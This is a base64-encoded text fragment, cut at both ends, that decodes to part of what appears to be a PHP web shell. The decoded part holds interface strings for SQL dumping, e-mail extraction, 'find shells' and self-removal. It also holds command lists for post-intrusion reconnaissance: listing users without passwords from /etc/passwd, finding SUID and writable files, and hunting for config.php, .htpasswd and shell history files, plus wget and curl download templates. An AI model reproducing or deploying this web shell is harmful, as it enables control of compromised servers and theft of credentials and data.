RSQUNUIEUtTUFJTFMiLA0KIjM3MyI9PiJTRUFSQ0ggVEFCTEVTPGJyPkNPTU1BICgsKSBTRVBBUkFURUQ8YnI+TEVBVkUgRU1QVFkgRk9SIEFMTCIsDQoiMzc0Ij0+IkZJTEUgTkFNRSIsDQoiMzc1Ij0+IlNBVkUgRS1NQUlMUyBUTyBGSUxFIiwNCiIzNzYiPT4iRE9XTkxPQUQgUkVTVUxUUyIsDQoiMzc3Ij0+IkV4dHJhY3QgRS1tYWlscyIsDQoiMzc4Ij0+IlNFUlZFUiBTVEFUVVMiLA0KIjM3OSI9PiJTRVJWRVIgVkFSSUFCTEVTIiwNCiIzODAiPT4iTmFtZSIsDQoiMzgxIj0+IlZhbHVlIiwNCiIzODIiPT4iUFJPQ0VTU0VTIiwNCiIzODMiPT4iSUQiLA0KIjM4NCI9PiJVU0VSIiwNCiIzODUiPT4iSE9TVCIsDQoiMzg2Ij0+IkRBVEFCQVNFIiwNCiIzODciPT4iQ09NTUFORCIsDQoiMzg4Ij0+IlRJTUUiLA0KIjM4OSI9PiJTVEFURSIsDQoiMzkwIj0+IklORk8iLA0KIjM5MSI9PiJBQ1RJT04iLA0KIjM5MiI9PiJLSUxMIiwNCiIzOTMiPT4iUFJPQ0VTUyAjWyUxJV0gS0lMTEVEIiwNCiIzOTQiPT4iUVVFUlkgUkVTVUxUIiwNCiIzOTUiPT4iQlJPV1NJTkcgVEFCTEUgWyUxJV0gKCBbJTIlXSBjb2xzIGFuZCBbJTMlXSByb3dzICkiLA0KIjM5NiI9PiJQcmV2aW91cyIsDQoiMzk3Ij0+IlBhZ2UiLA0KIjM5OCI9PiJHbyIsDQoiMzk5Ij0+Ik5leHQiLA0KIjQwMCI9PiJJTlNFUlQgSU5UTyBUQUJMRSBbJTElXSIsDQoiNDAxIj0+IkZpZWxkIiwNCiI0MDIiPT4iVHlwZSIsDQoiNDAzIj0+IkZ1bmN0aW9uIiwNCiI0MDQiPT4iVmFsdWUiLA0KIjQwNSI9PiJJbnNlcnQgYXMgbmV3IHJvdyIsDQoiNDA2Ij0+Im9yIiwNCiI0MDciPT4iU2F2ZSIsDQoiNDA4Ij0+IkNvbmZpcm0iLA0KIjQwOSI9PiJUT1RBTCBEQVRBQkFTRVMgWyUxJV0iLA0KIjQxMCI9PiJRVUlDSyBTUUwgVEFCTEUgRFVNUCIsDQoiNDExIj0+IlNRTCBUWVBFIiwNCiI0MTIiPT4iSE9TVDpQT1JUIiwNCiI0MTMiPT4iVVNFUjpQQVNTIiwNCiI0MTQiPT4iREIuVEFCTEUiLA0KIjQxNSI9PiJGSUxFIE5BTUUiLA0KIjQxNiI9PiJET1dOTE9BRCBSRVNVTFRTIiwNCiI0MTciPT4iU0FWRSBEVU1QIFRPIEZJTEUiLA0KIjQxOCI9PiJEdW1wIiwNCiI0MTkiPT4iQ2FuJ3QgY29ubmVjdCB0byBTUUwgc2VydmVyIiwNCiI0MjAiPT4iUVVJQ0sgU1FMIFFVRVJZIiwNCiI0MjEiPT4iREIiLA0KIjQyMiI9PiJRdWVyeSIsDQoiNDIzIj0+IlFVRVJZICNbJTElXSA6IFslMiVdIiwNCiI0MjQiPT4iTk9ORSIsDQoiNDI1Ij0+IkNoZGlyIiwNCiI0MjYiPT4iVG90YWw6IFslMSVdIiwNCiI0MjciPT4iU3VjY2VzczogWyUxJV0iLA0KIjQyOCI9PiJGYWlsZWQ6IFslMSVdIiwNCiI0MjkiPT4iVXNlZDogWyUxJV0iLA0KIjQzMCI9PiJOb3QgQXZhaWxhYmxlIiwNCiI0MzEiPT4iVGhlIGZvbGxvd2luZyBlLW1haWxzIHdlcmUgbm90IHNlbnQiLA0KIjQzMiI9PiJIQVNIIENBTENVTEFUT1IiLA0KIjQzMyI9PiJTVFJJTkcgQ09OVkVSU0lPTlMiLA0KIjQzNCI9PiJIT1NUOlBPUlQ6U1JDIiwNCiI0MzUiPT4iQ29ubmVjdCIsDQoiNDM2Ij0+IkZpbmQgU2hlbGxzIiwNCiI0MzciPT4iRE8gWU9VIFJFQUxMWSBXQU5UIFRPIERST1AgREFUQUJBU0UgXCJbJTElXVwiID8gIiwNCiI0MzgiPT4iRE8gWU9VIFJFQUxMWSBXQU5UIFRPIERST1AgVEFCTEUgXCJbJTElXVwiID8gIiwNCiI0MzkiPT4iRE8gWU9VIFJFQUxMWSBXQU5UIFRPIEVNUFRZIFRBQkxFIFwiWyUxJV1cIiA/ICIsDQoiNDQwIj0+IlNRTCBEVU1QIiwNCiI0NDEiPT4iREFUQUJBU0UiLA0KIjQ0MiI9PiJEVU1QIFRBQkxFUzxicj5DT01NQSAoLCkgU0VQQVJBVEVEPGJyPkxFQVZFIEVNUFRZIEZPUiBBTEwiLA0KIjQ0MyI9PiJGSUxFIE5BTUUiLA0KIjQ0NCI9PiJTQVZFIERVTVAgVE8gRklMRSIsDQoiNDQ1Ij0+IkRPV05MT0FEIFJFU1VMVFMiLA0KIjQ0NiI9PiJEdW1wIiwNCiI0NDciPT4iQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIiwNCiI0NDgiPT4iTm90aGluZyB0byBkdW1wIiwNCiI0NDkiPT4iRHVtcGVkIHRvIFslMSVdIiwNCiI0NTAiPT4iQ2FuJ3Qgd3JpdGUgdG8gZmlsZS4iLA0KIjQ1MSI9PiJTUUwgTUFOQUdFUiIsDQoiNDUyIj0+IkhPU1Q6UE9SVCIsDQoiNDUzIj0+IlVTRVIiLA0KIjQ1NCI9PiJQQVNTIiwNCiI0NTUiPT4iREIiLA0KIjQ1NiI9PiJUWVBFIiwNCiI0NTciPT4iQ29ubmVjdCIsDQoiNDU4Ij0+IkNhbid0IGNyZWF0ZSBkdW1wIiwNCiI0NTkiPT4iRHVtcGVkIiwNCiI0NjAiPT4iU0VMRiBSRU1PVkUiLA0KIjQ2MSI9PiJETyBZT1UgUkVBTExZIFdBTlQgVE8gREVMRVRFIE1FPyAiLA0KIjQ2MiI9PiJHT09EIEJZRSIsDQoiNDYzIj0+IkNhbid0IGRlbGV0ZSBbJTElXSIsDQoiNDY0Ij0+IkNBTidUIExJU1QgWyUxJV0iLA0KIjQ2NSI9PiJGcmVlOiBbJTElXSIsDQoiNDY2Ij0+IkZJTEUgWyUxJV0gRE9FU05UIEVYSVNULiIsDQoiNDY3Ij0+IllPVSBBUkUgVFJZSU5HIFRPIE9QRU4gQSBESVJFQ1RPUlkgQVMgQSBGSUxFIChbJTElXSkiLA0KIjQ2OCI9PiJUQVJHRVQgQUxSRUFEWSBFWElTVFMgKERJUkVDVE9SWSBbJTElXSkiLA0KIjQ2OSI9PiJGSUxFIE5PVCBTUEVDSUZJRUQiLA0KIjQ3MCI9PiJSZXR1cm4iLA0KIjQ3MSI9PiJZb3VyIGJyb3dzZXIgZG9lc250IHN1cHBvcnQgaWZyYW1lcy4iLA0KIjQ3MiI9PiIgKENXRCBTUEVDSUZJRUQgQVMgQSBGSUxFKSIsDQoiNDczIj0+IlJFTkFNRSBbJTElXSIsDQoiNDc0Ij0+IlJFTkFNRUQgVE8gWyUxJV0iLA0KIjQ3NSI9PiJDQU5OT1QgUkVOQU1FIFslMSVdIiwNCiI0NzYiPT4iRVhUUkFDVEVEIFpJUCBBUkNISVZFIFslMSVdIiwNCiI0NzciPT4iQ0FOTk9UIEVYVFJBQ1QgWyUxJV0iLA0KIjQ3OCI9PiJFeHRyYWN0IFslMSVdIiwNCiI0NzkiPT4iR0VORVJBTCBJTkZPUk1BVElPTiIsDQoiNDgwIj0+IlBIUCBJTkZPUk1BVElPTiIsDQoiNDgxIj0+Ik9USEVSIFVTRUZVTEwgU1RVRkYiLA0KIjQ4MiI9PiJJbnRlcmVzdGluZyBmaWxlcyIsDQoiNDgzIj0+IkludGVyZXN0aW5nIGNvbmZpZ3MiLA0KIjQ4NCI9PiJJbnRlcmVzdGluZyBiaW5zIiwNCiI0ODUiPT4iU2NyaXB0aW5nIGxhbmd1YWdlcyIsDQoiNDg2Ij0+IlBBR0UgR0VORVJBVEVEIElOIFslMSVdIFNFQ09ORFMiLA0KInVuZGVmaW5lZCI9PiI/IiwNCik7DQoNCiR3aW5hbGlhc2VzPWFycmF5KA0KICcnPT4nZGlyJywNCiAnLSBzaG93IG9wZW4gcG9ydHMnPT4nbmV0c3RhdCAtbmF0JywNCiAnLSBydW5uaW5nIHByb2dyYW1zJz0+J3Rhc2tsaXN0IC12JywNCiAnLSBydW5uaW5nIHNlcnZpY2VzJz0+J25ldCBzdGFydCcsDQogJy0gc2hvdyB1c2Vycyc9PiduZXQgdXNlcicsDQogJy0gc2hvdyBjb21wdXRlcnMnPT4nbmV0IHZpZXcnLA0KICctIGFycCB0YWJsZSc9PidhcnAgLWEnLA0KICctIGlwIGNvbmZpZyc9PidpcGNvbmZpZyAvYWxsJywNCiAnLSBtYWMgYWRkcmVzcyc9PidnZXRtYWMnLA0KICctIHN5c3RlbWluZm8nPT4nc3lzdGVtaW5mbycsDQogJy0gZmlsZSBhc3NvY2lhdGlvbnMnPT4nYXNzb2MnDQopOw0KDQokbml4YWxpYXNlcz1hcnJheSgNCiAnJz0+J2xzIC1sYScsDQogJ2NvbnNvbGUgZG93bmxvYWRlcnMnPT4nd2hpY2ggd2dldCBHRVQgZnRwIGN1cmwgdzNtIGx5bngnLA0KICdjcHUgaW5mbyc9PidjYXQgL3Byb2MvdmVyc2lvbiAvcHJvYy9jcHVpbmZvJywNCiAnZ2NjIGNvbXBpbGVyJz0+J2xvY2F0ZSBnY2MnLA0KICdsb2dnZWQgaW4gdXNlcnMnPT4ndycsDQogJ2FjdGl2ZSB1c2VycyAoZnJvbSBsYXN0bG9nKSc9PidsYXN0bG9nfGdyZXAgLXYgXCdcXCpcXCpcJycsDQogJ2xhc3QgbG9naW5zIChsYXN0IC1hKSc9PidsYXN0IC1hJywNCiAndXNlcnMgd2l0aG91dCBwYXNzd29yZCc9PidjdXQgLWQ6IC1mMSwyLDMgL2V0Yy9wYXNzd2QgfCBncmVwIDo6JywNCiAnbGlzdCBmaWxlIGF0dHJpYnV0ZXMnPT4nbHNhdHRyIC12YScsDQogJ3Nob3cgb3BlbiBwb3J0cyAoZnJvbSBuZXRzdGF0KSc9PiduZXRzdGF0IC1uYXQgfCBncmVwIC1pIGxpc3RlbicsDQogJ2FjdGl2ZSBjb25uZWN0aW9ucyAoZnJvbSBsc29mKSc9Pidsc29mIC1pJywNCik7DQoNCiRmaW5kYWxpYXNlcz1hcnJheSgNCiAnZmluZCBzdWlkIGZpbGVzJz0+J2ZpbmQgJXBhdGglIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyAyPi9kZXYvbnVsbCcsDQogJ2ZpbmQgc2dpZCBmaWxlcyc9PidmaW5kICVwYXRoJSAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMgMj4vZGV2L251bGwnLA0KICdmaW5kIHdyaXRhYmxlIGRpcnMnPT4nZmluZCAlcGF0aCUgLXBlcm0gLTIgLXR5cGUgZCAtbHMgMj4vZGV2L251bGwnLA0KICdmaW5kIHdyaXRhYmxlIGZpbGVzJz0+J2ZpbmQgJXBhdGglIC1wZXJtIC0yIC10eXBlIGYgLWxzIDI+L2Rldi9udWxsJywNCiAnZmluZCB3cml0YWJsZSBsaW5rcyc9PidmaW5kICVwYXRoJSAtcGVybSAtMiAtdHlwZSBsIC1scyAyPi9kZXYvbnVsbCcsDQogJ2ZpbmQgd3JpdGFibGUgZGlycy9maWxlcy9saW5rcyc9PidmaW5kICVwYXRoJSAtcGVybSAtMiAtbHMgMj4vZGV2L251bGwnLA0KICdmaW5kIGNvbmZpZyogZmlsZXMnPT4nZmluZCAlcGF0aCUgLXR5cGUgZiAtbmFtZSBcJ2NvbmZpZypcJycsDQogJ2ZpbmQgY29uZmlnLnBocCBmaWxlcyc9PidmaW5kICVwYXRoJSAtdHlwZSBmIC1uYW1lIGNvbmZpZy5waHAnLA0KICdmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzJz0+J2ZpbmQgJXBhdGglIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAnLA0KICdmaW5kIHNlcnZpY2UucHdkIGZpbGVzJz0+J2ZpbmQgJXBhdGglIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QnLA0KICdmaW5kIC5odHBhc3N3ZCBmaWxlcyc9PidmaW5kICVwYXRoJSAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCcsDQogJ2ZpbmQgLmJhc2ggaGlzdG9yeSc9PidmaW5kICVwYXRoJSAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnknLA0KICdmaW5kIC5teXNxbCBoaXN0b3J5Jz0+J2ZpbmQgJXBhdGglIC10eXBlIGYgLW5hbWUgLm15c3FsX2hpc3RvcnknLA0KICdmaW5kIGZldGNobWFpbHJjJz0+J2ZpbmQgJXBhdGglIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjJw0KKTsNCg0KJGZpbGVhbGlhc2VzPWFycmF5KA0KICdodG1sJz0+YXJyYXkoJ2h0bWwnLCdodG0nLCdzaHRtbCcpLA0KICd0ZXh0Jz0+YXJyYXkoJ2h0bWwnLCdodG0nLCdzaHRtbCcsJ2NzcycsJ2pzJywndHh0JywnY29uZicsJ2JhdCcsJ2JhaycsJ2RvYycsJ2xvZycsJ3NmYycsJ2NmZycsJ3JlYWRtZScsJ3RvZG8nLCdjaGFuZ2Vsb2cnLCdtYWtlZmlsZScsJ2NtYWtlJywnY29weWluZycsJ2F1dGhvcnMnLCdtb3RkJywnbmV3cycsJ2luc3RhbGwnLCdhYm91dCcsJ2h0YWNjZXNzJyksDQogJ2V4ZSc9PmFycmF5KCdzaCcsJ2JhdCcsJ2NtZCcsJ2V4ZScsJ3BsJywncHknKSwNCiAnaW5pJz0+YXJyYXkoJ2luaScsJ2luZicpLA0KICdjb2RlJz0+YXJyYXkoJ3BocCcsJ3BodG1sJywncGhwMycsJ3BocDQnLCdwaHA1JywncGwnLCdjZ2knLCdjJywgJ2NjJywgJ2NwcCcsICdoJywgJ2hwcCcsICdpY2wnLCAnaXBwJyksDQogJ2ltZyc9PmFycmF5KCdnaWYnLCdwbmcnLCdqcGVnJywnamZpZicsJ2pwZycsJ2pwZScsJ2JtcCcsJ2ljbycsJ3RpZicsJ3RpZmYnKSwNCiAnc2RiJz0+YXJyYXkoJ3NkYicpLA0KICdzZXNzJz0+YXJyYXkoJ3Nlc3MnKSwNCiAnZG93bmxvYWQnPT5hcnJheSgnc3FsJywnM2cyJywnM2dhJywnM2dwJywnM2dwcCcsJzY2OScsJzd6JywnYWFjJywnYWMzJywnYWNlJywnYWlmJywnYWlmYycsJ2FpZmYnLCdhbXInLCdhcGUnLCdhcmonLCdhc2YnLCdhc3gnLCdhdScsJ2F2aScsJ2F3YicsJ2F4YScsJ2F4dicsJ2JkbScsJ2JkbXYnLCdieicsJ2J6MicsJ2NhYicsJ2NscGknLCdjb20nLCdjcGknLCdkb2MnLCdkb3QnLCdkaXZ4JywnZG1nJywnZHYnLCdleGUnLCdmbGEnLCdmbGFjJywnZmxjJywnZmxpJywnZmx2JywnZ3NtJywnZ3onLCdpc28nLCdpdCcsJ2thcicsJ2xoYScsJ2xuaycsJ2x6aCcsJ20xNScsJ20ydCcsJ20ydHMnLCdtM3UnLCdtM3U4JywnbTRhJywnbTRiJywnbTR2JywnbWVkJywnbWlkJywnbWlkaScsJ21pbmlwc2YnLCdta2EnLCdta3YnLCdtbmcnLCdtbzMnLCdtb2QnLCdtb292JywnbW92JywnbW92aWUnLCdtcCsnLCdtcDInLCdtcDMnLCdtcDQnLCdtcGMnLCdtcGUnLCdtcGVnJywnbXBnJywnbXBnYScsJ21wbCcsJ21wbHMnLCdtcHAnLCdtdG0nLCdtdHMnLCducmcnLCduc3YnLCdvZ2EnLCdvZ2cnLCdvZ20nLCdvZ3YnLCdwYmsnLCdwaWYnLCdwbGEnLCdwbHMnLCdwc2YnLCdwc2ZsaWInLCdwc2lkJywncXQnLCdxdHZyJywncjAwJywncmEnLCdyYXInLCdyYXgnLCdydicsJ3J2eCcsJ3MzbScsJ3NpZCcsJ3NuZCcsJ3NweCcsJ3NyYycsJ3N0bScsJ3N3ZicsJ3RhcicsJ3RieicsJ3RiejInLCd0Z3onLCd0cycsJ3R0YScsJ3VsdCcsJ3VuaScsJ3V1JywndXVmJywndml2Jywndml2bycsJ3ZsYycsJ3ZvYicsJ3ZvYycsJ3dhdicsJ3dheCcsJ3dtYScsJ3dtdicsJ3dteCcsJ3dyaScsJ3d2JywneGxhJywneGxjJywneGxkJywneGxzYicsJ3hsbCcsJ3hsbScsJ3hscycsJ3hsdCcsJ3hsc20nLCd4bHcnLCd4bHRtJywnd3ZjJywnd3ZwJywnd3Z4JywneGknLCd4bScsJ3htZicsJ3h4ZScsJ3ppcCcpDQopOw0KDQokZXhlY2FsaWFzZXM9YXJyYXkoDQogJ3NoICVmJSc9PmFycmF5KCdzaCcpLA0KICdwZXJsICVmJSc9PmFycmF5KCdwbCcsJ2NnaScpLA0KICdweXRob24gJWYlJz0+YXJyYXkoJ3B5JyksDQogJ3BocCAlZiUnPT5hcnJheSgncGhwJywncGhwMycsJ3BocDQnLCdwaHA1JykNCik7DQoNCiRnZXRhbGlhc2VzPWFycmF5KA0KICd3Z2V0Jz0+J1slMSVdIFslMiVdIC1PIFslMyVdJywNCiAnZmV0Y2gnPT4nWyUxJV0gLXAgWyUyJV0gLW8gWyUzJV0nLA0KICdseW54Jz0+J1slMSVdIC1zb3VyY2UgWyUyJV0gPiBbJTMlXScsDQogJ2xpbmtzJz0+J1slMSVdIC1zb3VyY2UgWyUyJV0gPiBbJTMlXScsDQogJ0dFVCc9PidbJTElXSBbJTIlXSA+IFslMyVdJywNCiAnY3VybCc9PidbJTElXSBbJTIlXSAtbyBbJTMlXScNCik7DQoNCiRpbmRleD1hcnJheSgNCiAieGxzIj0+YXJyYXkoJ3hsYScsJ3hsYycsJ3hsZCcsJ3hsc2InLCd4bGwnLCd4bG0nLCd4bHMnLCd4bHQnLCd4bHNtJywneGx3JywneGx0bScpLA0KICJwbCI9PmFycmF5KCJwbCIsImNnaSIpLA0KICJkaXoiPT5hcnJheSgiZGl6IiwiaW5mIiksDQogImgiPT5hcnJheSgiaCIsImhwcCIpLA0KICJpc28iPT5hcnJheSgiaXNvIiwibnJnIiwiZG1nIiksDQogInRhciI9PmFycmF5KCJ0YXIiLCJyMDAiLCJhY2UiLCJhcmoiLCJieiIsImJ6MiIsInRieiIsInRiejIiLCJ0Z3oiLCJ1dSIsInh4ZSIsInppcCIsImNhYiIsImd6IiwibGhhIiwibHpoIiwicGJrIiwicmFyIiwidXVmIiwiN3oiKSwNCiAicGhwIj0+YXJyYXkoInBocCIsInBocDMiLCJwaHA0IiwicGhwNSIsInBodG1sIiwic2h0bWwiKSwNCiAianBnIj0+YXJyYXkoImpwZyIsImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwidGlmZiIpLA0KICJodG1sIj0+YXJyYXkoImh0bWwiLCJodG0iLCJhc3AiLCJ4aHRtbCIpLA0KICJhdmkiPT5hcnJheSgnb2dtJywnbXBlZycsJ2JkbXYnLCdxdHZyJywnb2d2JywnY3BpJywnbTJ0cycsJ21vdmllJywnYXNmJywnbXBscycsJ21rdicsJ2F2aScsJ3J2eCcsJ3F0JywnbXAyJywnbXA0JywnZGl2eCcsJ21uZycsJ2F4dicsJ3J2JywnbW92JywnbW9vdicsJ21wZScsJ21wbCcsJ21wZycsJ3RzJywnbnN2JywnM2cyJywnM2dhJywnbXRzJywnbTJ0JywnM2dwJywnM2dwcCcsJ3Zpdm8nLCdtNHYnLCdmbGMnLCdiZG0nLCdmbGknLCd2aXYnLCdmbHYnLCd3bXYnLCdjbHBpJywndm9iJywnZHYnLCdvZ2cnKSwNCiAiZG9jIj0+YXJyYXkoImRvYyIsImRvdCIsIndyaSIpLA0KICJ0eHQiPT5hcnJheSgidHh0IiwibG9nIiwiY29uZiIsImNmZyIsInZicyIsImluaSIpLA0KICJqcyI9PmFycmF5KCJqcyIpLA0KICJjbWQiPT5hcnJheSgiY21kIiwiYmF0IiwicGlmIiwiZXhlIiwic2giLCJtYWtlZmlsZSIpLA0KICJ3cmkiPT5hcnJheSgid3JpIiwicnRmIiksDQogInN3ZiI9PmFycmF5KCJzd2YiLCJmbGEiKSwNCiAibXAzIj0+YXJyYXkoJ2FtcicsJ20zdTgnLCdtZWQnLCdzcHgnLCdzcHgnLCdrYXInLCdtcGdhJywncGxhJywnaXQnLCdhcGUnLCd0dGEnLCdwbHMnLCdzdG0nLCdtaWQnLCdzM20nLCdhc3gnLCdta2EnLCdhd2InLCdwc2YnLCdhaWZjJywnbW8zJywnYWlmZicsJ21wKycsJ2F4YScsJ21wMicsJ21wMycsJ3JhJywnbW9kJywnd2F2Jywnd2F4JywnbXBjJywnbWlkaScsJ21wcCcsJ20xNScsJ3BzaWQnLCd3dicsJ210bScsJ3hpJywneG0nLCdtM3UnLCdtNGInLCdtNGEnLCdhYWMnLCdhYzMnLCd4bWYnLCdyYXgnLCdtaW5pcHNmJywnd21hJywnd214JywndmxjJywndWx0JywnNjY5Jywnc2lkJywndm9jJywnZ3NtJywnYXUnLCd1bmknLCdmbGFjJywnYWlmJywnc25kJywncHNmbGliJywnd3ZjJywnb2dhJywnd3ZwJywnb2dnJywnd3Z4JyksDQogImNwcCI9PmFycmF5KCJjcHAiLCJjIiwiY2MiLCJjeHgiKSwNCiAiY3NzIj0+YXJyYXkoJ2NzcycpLA0KICJodGFjY2VzcyI9PmFycmF5KCJodGFjY2VzcyIsImh0cGFzc3dkIiwiaHQiLCJodGEiKSwNCik7IA0KDQokaW1hZ2VzPWFycmF5KA0KICJvayI9PiJpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFCSE5DU1ZRSUNBZ0lmQWhraUFBQUFBbHdTRmx6QUFBTjF3QUFEZGNCUWlpYmVBQUFBQmwwUlZoMFUyOW1kSGRoY21VQWQzZDNMbWx1YTNOallYQmxMbTl5WjV2dVBCb0FBQURvU1VSQlZEaU5yWk94Ym9OQURJWS8wOENBdW5USVFCYWtTTFJiSDZRdjBYZnJRL1FCbUxNMWlxSU1FUm5hRHF4Y0pzQmRPSFFoWEpPSS9KSjFaOHYzMno3Ym9xcE1RVERwTlREejJPZkEwOEJtZ084elQxVWRrd3o0QlVvcmVaNi9xcW9NZlgwWkFCeUEwQ3BKa3RTWFNsZ0FqNDUrZEFrNlpOMVpBVDhBNG5UaFdVUStIZWM5NExab0NVaFg5aHV3RzJZQThEV1dab2YxcFJKczJqZmhyZ1NWcXE2c0VvYmhTMTNYRDFZM3htemlPTzU5N1VVOG81eUp5RHZRRXhSRjhaR202WmJUai9YUFFSQUV4N1p0ZTRJb2lrWWorUWlxcG1sS1RuZkZES1AvVjhMVm1MeU5mOWxYWTZsdGxZc3JBQUFBQUVsRlRrU3VRbUNDIiwNCiAiY2FuY2VsIj0+ImlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBQUJITkNTVlFJQ0FnSWZBaGtpQUFBQUFsd1NGbHpBQUFOMXdBQURkY0JRaWliZUFBQUFCbDBSVmgwVTI5bWRIZGhjbVVBZDNkM0xtbHVhM05qWVhCbExtOXlaNXZ1UEJvQUFBSGxTVVJCVkRpTnBaUFBhOU53R01hZkxrbjNIVmtEYXBNc0F4RUtiYmRCbWFmU2kzZVpqa1hCSDh5VE1HR3dRNC83Q3dhRG5YcWRCMC9kRm1XaGhRcXl5d1plSkpjNWVoaVlNWkFlU2xxdDBFVXkycWF2QjFzSmtTTFNGOTdMdy90OCtQSThmQ05FaEhGbVlpejNDSUFDSUFGQURHamlRRlArQlpqWnkyWDE3U2xXdmpDTTlNQW9YaGhHZW51S2xmZHlXUjNBVE5BUUNXU2dHUGR5ZXVQeldVSGxlVmJ6Zlh2bDladm5BRkIrOWZMZ05zY2xuVjd2V3JtN21ILzI4Vk1KUUNNTVNCVG5VNmJXYmkxeUVlREs3K095MDdNQklCSGxrekZ1QWo0QmRlbm0yWXZ6TDQ4QlhJWUJZc2VwcjFUMSsvbHV3OGtDUUx2bkF3QWtuZ01BQ0lwcVpVb2ZDbEZWS3dQNEdRWUFnTlJ4bklmMjB3ZjV6cmZma09GRTQ2cVZmUHUrRUZYVkNvRDJxQkI5NTlTeWE1NDN6UmlQNE5ZOGI5bzV0V3dBL3FnV3hIckZUQjl2ckJYbHZyY3d5UVFFVis1N0M4Y2JhOFY2eFJ5MjgxY0xpWGVaTzZYNVdEUnpnd2tBQU82V2JBR0EvNzJaQllBZjExMmNYM1dxVDZwZjlXR0l3UmU0UzFzNysxbzg1akltUUp6VkxIbjNzQ0R2SGhiRVdjMWlUSUFXajdsTFd6djdBTncvTGlJSzdsejN5TngwMTVkUHFOVmNKU0tKaUNScU5WZmQ5ZVdUN3BHNVNVUnpRVThZQUNKS0VkR2pnWG1vU1FNdEZiNFAxL2pmTS9adi9BWFZ6djhScVNqR3dnQUFBQUJKUlU1RXJrSmdnZz09IiwNCiAic21hbGxfaG9tZSI9PiJpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFOMXdBQURkY0JRaWliZUFBQUFBZDBTVTFGQjlvSUV3d3pNYUVDdWpjQUFBSGZTVVJCVkRqTGxaSTlhMVJSRUlhZmMrL1ptNHZKTG5acUtWWTJRUkVYUWNFaXRpa0M5allCQmN1MEtkUG1OMGhnc1JGc0JQK0Foc0FXcGt3MlJCQWhFZ09SRGV4bTc1NDVaOFppbytheVVjd0xwNWw1NWpBZnJ6TXo3cTY5ZXdNOHBhNzN3TkwyNm1MZ0gzSm5IOWlEbTlleHpFMmlDcjNERS9xajB5RVFMNmd6NFBYMjZ1Skw5NkxUZmRUZFAvd3dmOE5QVVpwQWJicGFEWHJIU2UvZnV2YllSd25yYTB0M21Dc0xMcU5CRmJLM243NnUrNml4L1gwdzV2UHhjQXFhYWVSWU1vTHFWRzV1eGhNMXRuMkt3a2tsVThDVndwT2JRUVl1enprTjlWV2NWRUtLZ3E5RUVha1BPbHZrT0RWZWJlNEE4T3poYlFxWE1ReXB4bFdpWktKR1NQcjdsVVZHNW1CamN3Y3JtMWpaWkdOemg4eEJXV1ExVnRUSXFxaEVoYWlUdGozUTJkckZ5aWF0c3FCVkZsalpwTE8xaXo4YjdSZGZSU1ZUaTBSVGN1OW9PS1B6Y1pkUk5Gcm5ydElxQzBaeGttczRJL2VPYUlwYUpCTVJKQnFTaktMaFdWNllSOEo0YXFrU3hpd3Z6Rk0wUEpKc1VpTkNsbEpDa2pFWVJYcEhRMkxTdjk0K0pxVjNOR1F3aWtneVVrcDRFU0U1cTdrTTRPRGJ3WVVPUE0rS0NGNWpZQnovQlBzaDh2ekp2UXM3NklkWVl6VUd2R2pxSGgzL2FGK2RuUU5nN3lEOGw1WDd3d0dpcWV1VGpGZjJ2K3l0QTIwdXB5Nnc4aE1RL3lmYmFsdlZrZ0FBQUFCSlJVNUVya0pnZ2c9PSIsDQogInNtYWxsX2RpciI9PiJpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFOMXdBQURkY0JRaWliZUFBQUFBZDBTVTFGQjlvSUV3d3hJMkNOcWYwQUFBRVZTVVJCVkRqTHBaQzlTZ05SRUlYUGhrRUZVOWlwcGRpTEZpNFdnaytRSXVCRENKWnBVNmJkdHdnMmdvM2dDOWh0WWVwSUJMR0tRaVNCUk8vZStiT0lqVVNFdlg3bE1PZmp6R1R1anFQZTdUV0FjL3prRGtCNzBHMUYvRUgyTGZDVHZSMTRJMXRPRFJpT1o1aCtmaXdBeUM4NUIzQTE2TFl1czR0K2VWcU94dmNIdTdTeVpRcVlyNmJOZ2VGRTdYaC8rNHlFWTlGckg2SzVzWVk2ekVOczNEeThGQ1FtK2V1OHd0TmtVVXZRWENlSVNVNHFqRmxnMUdVV0dDb01DbXhnZHFRUTJFQnNqcWlXSkdCelVCQ0RwT1VSeEVEbUF2RTBnN21BbUJrc2FUOWdacENxZ2pWTm9LckxCcHI5bzRGSlJKVjRna2tFc1duNU5ublB0emFidGNMVHhSeHNXcEp5MVJrOVB4WUE4cG9GU2dDZEx6S1RxTm9SVzB6OEFBQUFBRWxGVGtTdVFtQ0MiLA0KICJzbWFsbF91bmsiPT4iaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQkhOQ1NWUUlDQWdJZkFoa2lBQUFBQWx3U0ZsekFBQU4xd0FBRGRjQlFpaWJlQUFBQUJsMFJWaDBVMjltZEhkaGNtVUFkM2QzTG1sdWEzTmpZWEJsTG05eVo1dnVQQm9BQUFDMFNVUkJWRGlON1k4dGpzTXdHRVNuMWtnQkFRRUdvU0VMczdmb2pkcGI5RlNoWWQ0Z2g0VG1DdCtQWFZSZVY0VTcwc0QzTkhOWjEvVnFabzlTeWk4YUVrSklKRytYWlZuU05FM3pPSTRJSWJ3RmwxSnduaWVPNC9pamlNd3hSb2hJeXdERUdKRnpudW51Y1BjbUdBQmVITTBNdGRabUFRQ1lHYWlxSHd0VUZYVDNqd1hmdWZBditKSkFWVUd5R